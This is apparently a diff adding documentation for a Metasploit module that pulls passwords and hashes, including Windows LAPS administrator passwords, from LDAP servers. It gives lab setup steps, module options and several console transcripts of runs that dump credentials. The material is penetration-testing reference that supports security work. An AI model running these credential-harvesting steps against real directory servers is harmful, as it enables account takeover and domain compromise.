|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +### Description |
| 4 | + |
| 5 | +This module will gather passwords and password hashes from a target LDAP server via multiple techniques including |
| 6 | +Windows LAPS. |
| 7 | + |
| 8 | +### Setup (OpenLDAP via Docker) |
| 9 | + |
| 10 | +Tested in the wild. |
| 11 | + |
| 12 | +You may eventually setup an intentionally insecure OpenLDAP server in docker. |
| 13 | +The below OpenLDAP server does not have any ACL, therefore the hashPassword |
| 14 | +attributes are readable by anonymous clients. |
| 15 | + |
| 16 | +``` |
| 17 | +$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git |
| 18 | +$ cd bitnami-docker-openldap |
| 19 | +$ docker-compose up -d |
| 20 | +Creating bitnami-docker-openldap_openldap_1 ... done |
| 21 | +``` |
| 22 | + |
| 23 | +``` |
| 24 | +msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389 |
| 25 | +[*] Reloading module... |
| 26 | +[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST |
| 27 | +[*] Discovered base DN: dc=example,dc=org |
| 28 | +[*] The target LDAP server is not an Active Directory Domain Controller. |
| 29 | +[*] Searching base DN: dc=example,dc=org |
| 30 | +[+] Credentials (password) found in userpassword: user01:password1 |
| 31 | +[+] Credentials (password) found in userpassword: user02:password2 |
| 32 | +[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'. |
| 33 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 34 | +[*] Auxiliary module execution completed |
| 35 | +msf6 auxiliary(gather/ldap_passwords) > |
| 36 | +``` |
| 37 | + |
| 38 | +### Setup (Windows LAPSv1) |
| 39 | +1. Start with a Windows Domain Controller |
| 40 | +2. Install all the programs from the applicable binary from https://www.microsoft.com/en-us/download/details.aspx?id=46899 |
| 41 | +3. Make sure the user account is a Schema Admin, reboot after joining the group |
| 42 | +4. Set the Group Policy settings as noted in Section 3 of the “LAPS_OperationsGuide.docx” file |
| 43 | +5. Run the UI as noted in Section 4, the LDAP attributes should be populated at this point |
| 44 | + |
| 45 | +### Setup (Windows LAPSv2) |
| 46 | +1. Start with a Windows Domain Controller that has the April 2023 security update installed |
| 47 | +2. Follow the instructions from https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory |
| 48 | + |
| 49 | +## Verification Steps |
| 50 | + |
| 51 | +Follow [Setup](#setup) and [Scenarios](#scenarios). |
| 52 | + |
| 53 | +## Options |
| 54 | + |
| 55 | +### BASE_DN |
| 56 | + |
| 57 | +If you already have the LDAP base DN, you may set it in this option. |
| 58 | + |
| 59 | +### USER_ATTR |
| 60 | + |
| 61 | +LDAP attribute to that contains the username. Defaults to the first attribute that exists in the search order |
| 62 | +`sAMAccountName` (Active Directory), `uid` (OpenLDAP), `dn`. |
| 63 | + |
| 64 | +### PASS_ATTR |
| 65 | + |
| 66 | +LDAP attribute to take the password data from. This option will be added to the array of options the module always |
| 67 | +searches for. |
| 68 | + |
| 69 | +## Scenarios |
| 70 | + |
| 71 | +### Avaya Communication Manager via anonymous bind |
| 72 | + |
| 73 | +``` |
| 74 | +msf6 auxiliary(gather/ldap_passwords) > options |
| 75 | +
|
| 76 | +Module options (auxiliary/gather/ldap_passwords): |
| 77 | +
|
| 78 | + Name Current Setting Required Description |
| 79 | + ---- --------------- -------- ----------- |
| 80 | + BASE_DN no LDAP base DN if you already have it |
| 81 | + PASS_ATTR userPassword no Additional LDAP attribute(s) that contain password hashes |
| 82 | + READ_TIMEOUT 600 no LDAP read timeout in seconds |
| 83 | + SSL false no Enable SSL on the LDAP connection |
| 84 | + USER_ATTR no LDAP attribute(s), that contains username |
| 85 | +
|
| 86 | +
|
| 87 | + Used when connecting via an existing SESSION: |
| 88 | +
|
| 89 | + Name Current Setting Required Description |
| 90 | + ---- --------------- -------- ----------- |
| 91 | + SESSION no The session to run this module on |
| 92 | +
|
| 93 | +
|
| 94 | + Used when making a new connection via RHOSTS: |
| 95 | +
|
| 96 | + Name Current Setting Required Description |
| 97 | + ---- --------------- -------- ----------- |
| 98 | + LDAPDomain no The domain to authenticate to |
| 99 | + LDAPPassword no The password to authenticate with |
| 100 | + LDAPUsername no The username to authenticate with |
| 101 | + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 102 | + RPORT 389 no The target port |
| 103 | + THREADS 1 yes The number of concurrent threads (max one per host) |
| 104 | +
|
| 105 | +
|
| 106 | +View the full module info with the info, or info -d command. |
| 107 | +
|
| 108 | +msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1 |
| 109 | +RHOSTS => 192.0.2.1 |
| 110 | +
|
| 111 | +msf6 auxiliary(gather/ldap_passwords) > run |
| 112 | +[*] Discovered base DN: dc=vsp |
| 113 | +[*] The target LDAP server is not an Active Directory Domain Controller. |
| 114 | +[*] Searching base DN: dc=vsp |
| 115 | +[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 116 | +[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng== |
| 117 | +[*] Found 2 entries and 2 credentials in 'dc=vsp'. |
| 118 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 119 | +[*] Auxiliary module execution completed |
| 120 | +``` |
| 121 | + |
| 122 | +### NASDeluxe - NAS with Samba LM/NTLM hashes |
| 123 | + |
| 124 | +``` |
| 125 | +msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1 |
| 126 | +RHOSTS => 192.0.2.1 |
| 127 | +
|
| 128 | +msf5 auxiliary(gather/ldap_passwords) > run |
| 129 | +[*] Running module against 192.0.2.1 |
| 130 | +
|
| 131 | +[*] Discovered base DN: dc=server,dc=nas |
| 132 | +[*] The target LDAP server is not an Active Directory Domain Controller. |
| 133 | +[*] Searching base DN: dc=server,dc=nas |
| 134 | +[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634 |
| 135 | +[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B |
| 136 | +[*] Found 2 entries and 2 credentials in 'dc=server,dc=nas'. |
| 137 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 138 | +[*] Auxiliary module execution completed |
| 139 | +``` |
| 140 | + |
| 141 | +### Windows Server 2019 - LAPSv2 with Encryption |
| 142 | +``` |
| 143 | +msf6 auxiliary(gather/ldap_passwords) > run ldap://msflab.local;smcintyre:[email protected] |
| 144 | +[*] Discovered base DN: DC=msflab,DC=local |
| 145 | +[*] The target LDAP server is an Active Directory Domain Controller. |
| 146 | +[*] Searching base DN: DC=msflab,DC=local |
| 147 | +[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC) |
| 148 | +[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'. |
| 149 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 150 | +[*] Auxiliary module execution completed |
| 151 | +msf6 auxiliary(gather/ldap_passwords) > |
| 152 | +``` |
0 commit comments